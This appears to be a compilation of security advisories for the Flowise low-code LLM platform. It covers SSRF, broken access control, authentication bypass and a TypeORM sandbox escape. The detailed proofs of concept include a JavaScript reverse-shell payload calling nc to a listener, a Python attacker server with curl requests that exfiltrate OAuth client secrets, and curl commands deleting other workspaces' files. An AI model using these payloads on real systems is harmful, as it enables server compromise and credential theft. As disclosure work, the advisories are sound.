A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.
An issue in Flowise 3.1.2 allows a remote attacker to execute arbitrary code via the /api/v1/prediction/<flowId> endpoint
Flowise is a low-code platform for building LLM applications. In versions up to and including 3.1.3, the POST /api/v1/node-load-method/:name endpoint is mounted without any route-level permission check and invokes component loadMethods with an attacker-controlled nodeName, loadMethod, inputs, and credential value. The selected credential is resolved by raw Credential.id via getCredentialData() and decrypted without verifying Credential.workspaceId against the caller's active or shared workspace, unlike other credential read paths which are workspace-scoped. As a result, an authenticated low-privilege user (or workspace API key) in one workspace can supply a credential ID owned by another workspace and cause Flowise to act as a confused deputy, performing third-party provider calls with the victim workspace's credential and returning provider metadata to the attacker. Statically identified affected load methods include Google Drive listFiles, Google Sheets listSpreadsheets, and AWS DynamoDB KV Storage listTables. The raw credential secret itself is not returned to the attacker. This issue is fixed in version 3.1.4.
Flowise versions before 3.1.4 contain an unauthenticated denial of service vulnerability in the /api/v1/text-to-speech/abort endpoint that accepts user-supplied chatflowId and chatId without ownership verification. Attackers can terminate active chatflow predictions for any user by submitting requests with known chatflow and chat identifiers, causing targeted service disruption.
Flowise before 3.1.4 contains a broken access control vulnerability in GET /api/v1/organizationuser that allows any authenticated organization member to retrieve the organization owner's full user record including bcrypt password hash and temporary tokens. Attackers can query the endpoint with any user ID to obtain the owner's credential hash for offline cracking, enabling account takeover of the highest-privileged account.
Flowise through 3.1.4 contains a missing authorization vulnerability that allows authenticated workspace members to perform unauthorized document store operations by accessing unprotected mutation endpoints. Attackers holding only view-level permissions can send direct HTTP requests to the upsert and refresh document store routes to trigger document ingestion, refresh vector database contents, consume embedding API credits, and modify knowledge bases used by downstream chatflows.
Flowise through 3.1.4 contains an insecure direct object reference vulnerability in the OpenAI Assistants integration that allows authenticated attackers to access credentials belonging to other workspaces by supplying an arbitrary credential UUID to Assistants endpoints without workspace ownership verification. Attackers can enumerate cross-workspace assistant metadata, retrieve file and vector store listings, and upload files into victim workspaces by exploiting the missing workspace-scoped authorization check in the credential lookup logic.
Flowise through 3.1.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to access the OAuth2 credential refresh endpoint by exploiting prefix-based whitelist matching in the authentication middleware defined in packages/server/src/utils/constants.ts. Attackers can send a POST request to the oauth2-credential refresh route with a trailing credential identifier to bypass all authentication and authorization checks, triggering unauthorized OAuth token rotation against credentials belonging to any workspace and potentially disrupting dependent OAuth integrations. This is a bypass of CVE-2026-41273.
============================================================================= Security Advisory elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.
II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts packages/components/nodes/memory/AgentMemory/AgentMemory.ts
This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.
http HTTP/1.1 200 OK Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Content-Type: application/json; charset=utf-8 Content-Length: 671 ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE" Date: Wed, 15 Apr 2026 10:58:44 GMT Connection: keep-alive Keep-Alive: timeout=5
{ "activeOrganizationCustomerId": null, "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "activeOrganizationProductId": "", "activeOrganizationSubscriptionId": null, "activeWorkspace": "Default Workspace", "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e", "assignedWorkspaces": [ { "id": "3206d8d3-944f-48c6-9332-11e2752b793e", "name": "Default Workspace", "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "role": "owner" } ], "email": "admin@flowise.local", "features": {}, "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab", "isOrganizationAdmin": true, "isSSO": false, "name": "Admin", "permissions": [ "organization", "workspace" ], "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1" } <1> The organisation ID that is required for a later step.
2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.
js process.mainModule.require('childprocess').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the POST /api/v1/document-store/loader/process/{loaderid} endpoint and retrieve the storeId, as demonstrated in the response below.
http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 1000 ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o" Date: Wed, 15 Apr 2026 10:59:34 GMT Connection: keep-alive Keep-Alive: timeout=5
{ "characters": 94, "chunks": [ { "chunkNo": 1, "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0", "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}", "pageContent": "process.mainModule.require('childprocess').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')", "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1> } ], "count": 1, "currentPage": 1, "description": "", "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "file": { "files": [ { "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c", "mimePrefix": "application/x-javascript", "name": "rce.js", "size": 94, "status": "NEW", "uploaded": "2026-04-15T10:59:34.039Z" } ], "id": "544ff838-bc55-4b28-97a1-c7442710b014", "loaderConfig": { "file": "FILE-STORAGE::[\"rce.js\"]", "legacyBuild": "", "metadata": "", "omitMetadataKeys": "", "pointerName": "", "textSplitter": "", "usage": "perPage" }, "loaderId": "fileLoader", "loaderName": "RCE File", "status": "SYNC", "totalChars": 94, "totalChunks": 1 }, "storeName": "RCE POC Store", "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e" } <1> The store ID that is required for a later step.
4. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.
typeorm-datasource-rce.json
5. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />
6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43421 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.
IV. Solution
Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:
extra: Could be abused to provide dangerous driver options. entities: Could be abused to load arbitrary JavaScript files. subscribers: Could be abused to load arbitrary JavaScript files. migrations: Could be abused to load arbitrary JavaScript files.
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
1. Unauthenticated route via whitelist - dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh - dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) - Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
2. User-controlled SSRF target - In refresh handler (dist/routes/oauth2/index.js): - loads credential by credentialId - decrypts credential data - reads accessTokenUrl - executes: - axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...) - No secureAxiosRequest() / denylist wrapper is used in this path.
3. Non-blind response reflection - Response returns: - tokenInfo: { ...tokenData, ... } - tokenData is the attacker/internal server response body.
4. Secrets sent to SSRF target - Request body includes: - clientid - clientsecret - granttype=refreshtoken - refreshtoken
PoC
Environment used
- flowiseai/flowise:latest container (localhost:3000) - Attacker server (localhost:18081) returning JSON
Step 1: Start attacker server
bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json
class H(BaseHTTPRequestHandler): def doPOST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUESTPATH', self.path, flush=True) print('REQUESTBODY', b, flush=True) self.sendresponse(200) self.sendheader('Content-Type','application/json') self.endheaders() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echolen': len(b)}).encode()) def logmessage(self, fmt, args): pass
HTTPServer(('0.0.0.0', 18081), H).serveforever() PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
- 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}'
Observed response:
json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echolen": 76, "hasnewrefreshtoken": false } }
Attacker server logs captured:
text REQUESTPATH /token REQUESTBODY clientid=cid2&clientsecret=csec2&granttype=refreshtoken&refreshtoken=r2
This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration. - Who can set up attack: Any authenticated user who can create/update OAuth2 credentials. - Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - Technical impact: - outbound SSRF to attacker/internal targets, - direct leak of clientsecret and refreshtoken to SSRF target, - direct response read from target via API response (tokenInfo). - Deployment impact: - cloud/internal network reachability can expose metadata/internal services depending on egress controls.
summary: In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.
details: The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:
- getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root - deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path
As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access. In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:
- called GET /api/v1/files and received 200 OK - listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446 - called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK - confirmed the file was removed by re-querying the file list
impact: Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.
reproduction steps:
1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
bash curl -i -b tamako.cookie \ -H 'x-request-from: internal' \ -H 'Content-Type: application/json' \ -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \ http://localhost:8080/api/v1/apikey
2. Record the returned API key. In my local test, the key was:
- ykT6h4Q-u2PZDJmy2kMLWWKLN42u8mHfYSvHC5Ja0E
3. Prepare a test file under a different workspace within the same organization, for example:
- f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
4. Use the low-privileged API key to list files:
bash curl -i \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKLN42u8mHfYSvHC5Ja0E' \ http://localhost:8080/api/v1/files
5. Observe a 200 OK response that includes a file from another workspace, for example:
json [{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
6. Use the same API key to delete that file:
bash curl -i -X DELETE --get \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKLN42u8mHfYSvHC5Ja0E' \ --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \ http://localhost:8080/api/v1/files
7. Observe a 200 OK response:
json {"message":"filedeleted"}
8. Call GET /api/v1/files again and confirm that the file is no longer present.